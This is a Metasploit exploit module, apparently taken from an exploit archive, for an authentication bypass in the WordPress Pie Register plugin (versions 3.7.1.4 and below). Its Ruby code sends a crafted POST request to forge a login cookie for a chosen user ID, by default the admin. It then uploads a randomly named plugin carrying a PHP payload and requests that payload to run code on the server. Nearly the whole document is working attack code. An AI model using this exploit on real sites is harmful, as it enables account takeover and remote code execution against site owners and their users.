WordPress Pie Register 3.7.1.4 Authentication Bypass / Remote Code Execution

This Metasploit module uses an authentication bypass vulnerability in Wordpress Pie Register plugin versions 3.7.1.4 and below to generate a valid cookie. With this cookie, hopefully of the admin, it will generate a plugin, pack the payload into it and upload it to a server running WordPress.


MD5 | 46210089a3df2c00df7886dadf56127c

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Wordpress

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Plugin Pie Register Auth Bypass to RCE',
'Description' => %q{
This module uses an authentication bypass vulnerability in
Wordpress Plugin Pie Register <= 3.7.1.4 to generate a valid cookie.
With this cookie, hopefully of the admin, it will generate a plugin,
pack the payload into it and upload it to a server running WordPress.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # Metasploit module
'Lotfi13-DZ' # EDB
],
'DisclosureDate' => '2021-10-08',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['WordPress', {}]],
'DefaultTarget' => 0,
'References' => [
['EDB', '50395']
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)

register_options(
[
OptInt.new('USERID', [true, 'User ID to take over', 1]),
]
)
end

def check
return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?

checkcode = check_plugin_version_from_readme('pie-register', '3.7.1.5')
if checkcode == CheckCode::Safe
print_error('Pie Register not a vulnerable version')
end
return checkcode
end

def get_cookie
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => {
'user_id_social_site' => datastore['USERID'],
'social_site' => 'true',
'piereg_login_after_registration' => 'true',
'_wp_http_referer' => '/login/',
'log' => 'null',
'pwd' => 'null'
},
'keep_cookies' => 'true'
})
fail_with(Failure::Unreachable, 'Site not responding') unless res

cookie_jar.cookies.each do |c|
print_status("Found cookie: #{c.name}=#{c.value}")
end
res.get_cookies
end

# direct copy from modules/exploits/unix/webapp/wp_admin_shell_upload.rb
def generate_plugin(plugin_name, payload_name)
plugin_script = %(<?php
/**
* Plugin Name: #{plugin_name}
* Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}
* Author: #{Rex::Text.rand_text_alpha(10)}
* Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com
* License: GPL2
*/
?>)

zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded)
zip
end

def exploit
cookie_jar.clear # prevent issues between attempts
print_status('Bypassing Authentication')
cookie = get_cookie

print_status('Preparing payload...')
plugin_name = Rex::Text.rand_text_alpha(10)
payload_name = Rex::Text.rand_text_alpha(10).to_s
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
zip = generate_plugin(plugin_name, payload_name)

print_status('Uploading payload...')
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded

print_status("Executing the payload at #{payload_uri}...")
register_files_for_cleanup("#{payload_name}.php")
register_files_for_cleanup("#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
end
end

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